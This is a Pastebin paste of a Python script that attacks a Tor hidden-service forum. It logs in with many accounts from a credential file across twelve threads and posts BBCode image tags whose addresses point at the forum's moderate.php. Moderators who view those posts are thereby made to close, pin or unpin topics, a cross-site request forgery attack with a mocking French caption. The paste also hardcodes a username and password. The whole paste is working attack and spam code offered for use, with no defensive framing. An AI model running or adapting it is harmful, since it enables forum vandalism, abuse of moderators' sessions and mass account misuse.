daily pastebin goal
27%
SHARE
TWEET

Untitled

a guest Sep 3rd, 2018 126 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. from itertools import islice
  5. from threading import Thread
  6. from robobrowser import RoboBrowser
  7. import sys
  8. import requests
  9. import random
  10. import threading
  11. import time
  12. import uuid
  13. import re
  14.  
  15. url = "http://fdwocbsnity6vzwd.onion/"
  16.  
  17. messages = [
  18.     "[img]https://pix.watch/vbTM_c/dtRDvh.gif[/img][img]https://pix.watch/Vp7hOa/z95YDJ.png[/img][img]" + url + "moderate.php?fid={}&close={}[/img]\n\n[i]« Qui aime bien châtie bien »[/i]\n[b]Apprends la faille CSRF avec moi :lol:[/b]",
  19.     "[img]https://pix.watch/vbTM_c/dtRDvh.gif[/img][img]https://pix.watch/Vp7hOa/z95YDJ.png[/img][img]" + url + "moderate.php?fid={}&stick={}[/img]\n\n[i]« Qui aime bien châtie bien »[/i]\n[b]Apprends la faille CSRF avec moi :lol:[/b]"
  20. ]
  21.  
  22. unpin_message = "[img]https://pix.watch/vbTM_c/dtRDvh.gif[/img][img]https://pix.watch/Vp7hOa/z95YDJ.png[/img][img]" + url + "moderate.php?fid={}&unstick={}[/img]\n\n[i]« Qui aime bien châtie bien »[/i]\n[b]Apprends la faille CSRF avec moi :lol:[/b]"
  23.  
  24. browser = False
  25.  
  26. username = "BlackSpider"
  27. password = "123456789"
  28.  
  29. is_running = True
  30.  
  31. founds = {}
  32. timers = {}
  33. accounts = {}
  34.  
  35. forums_ids = [37, 8, 2, 4, 19, 33, 30, 5, 40, 21, 70, 82, 73, 83, 26, 61, 86, 85, 88, 95, 90, 93, 94]
  36.  
  37. class Spammer(Thread):
  38.  
  39.     def __init__(self):
  40.         Thread.__init__(self)
  41.  
  42.     def run(self):
  43.         global founds
  44.         global timers
  45.         global is_running
  46.         global accounts
  47.  
  48.         while is_running:
  49.  
  50.             browser = RoboBrowser(history=False, parser="html.parser")
  51.             browser.session.headers['User-Agent'] = "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0"
  52.  
  53.             username = random.choice(list(accounts.items()))
  54.  
  55.             while username in timers and time.time() - timers[username[0]] < 120:
  56.                 username = random.choice(list(accounts.items()))
  57.  
  58.             if login(browser, username[0], username[1]):
  59.                 print ("Login ok : " + username[0] + ":" + username[1] + "\n")
  60.                 spam(browser)
  61.                 timers[username[0]] = time.time()
  62.                 with open('used.txt', 'a') as f:
  63.                     f.write(username[0] + "\n")
  64.                 continue
  65.             else:
  66.                 print ("Login fail : " + username[0] + ":" + username[1] + "\n")
  67.                 timers[username[0]] = time.time() + 100000
  68.                 continue
  69.  
  70.  
  71. def spam(browser):
  72.     global url
  73.     global messages
  74.     global forums_ids
  75.     global unpin_message
  76.  
  77.     forum_id = random.choice(forums_ids)
  78.  
  79.     browser.open(url + "viewforum.php?id=" + str(forum_id) + "&p=" + str(random.randint(1, 10)))
  80.     rows = browser.select('tr.inew')
  81.  
  82.     for row in rows:
  83.  
  84.         topic = row.select('td.tcl')[0]
  85.  
  86.         if topic.select('.stickytext'):
  87.             pinned = True
  88.         else:
  89.             pinned = False
  90.  
  91.         topic_a = topic.select('div.tclcon a')[0]
  92.  
  93.         topic_id = re.findall(r'\d+', topic_a.get('href'))[0]
  94.  
  95.         browser.follow_link(topic_a)
  96.         browser.session.headers['Referer'] = url + topic_a.get('href')
  97.         print (browser.session.headers['Referer'])
  98.         form = browser.get_form(id="quickpostform")
  99.  
  100.         if not pinned:
  101.             form['req_message'] = random.choice(messages).format(forum_id, topic_id)
  102.         else:
  103.             form['req_message'] = unpin_message.format(forum_id, topic_id)
  104.  
  105.         submit_button = form['submit']
  106.         browser.submit_form(form, submit=submit_button)
  107.  
  108.         with open('file.html', 'w') as f:
  109.             f.write(str(browser.parsed))
  110.  
  111.  
  112. def login(browser, user, password):
  113.     browser.open(url + "login.php")
  114.     form = browser.get_form(id="login")
  115.     form['req_username'].value = user
  116.     form['req_password'].value = password
  117.     browser.submit_form(form)
  118.     return browser.find(id="navlogout") is not None
  119.  
  120.  
  121. def open_accounts():
  122.     global founds
  123.  
  124.     with open('accounts.txt', 'r') as f:
  125.         for line in f.readlines():
  126.             parts = line.strip().split(':')
  127.             accounts[parts[0]] = parts[1]
  128.  
  129. def main():
  130.     global is_running
  131.  
  132.     threads = []
  133.     nbr_threads = 12
  134.  
  135.     open_accounts()
  136.  
  137.     for i in range(nbr_threads):
  138.         t = Spammer()
  139.         threads.append(t)
  140.         t.start()
  141.  
  142.     while len(threads) > 0:
  143.         try:
  144.             threads = [t.join(1) for t in threads if t is not None and t.isAlive()]
  145.         except KeyboardInterrupt:
  146.             is_running = False
  147.             print ("Shutdown threads...")
  148.  
  149.  
  150. if __name__ == '__main__':
  151.     main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top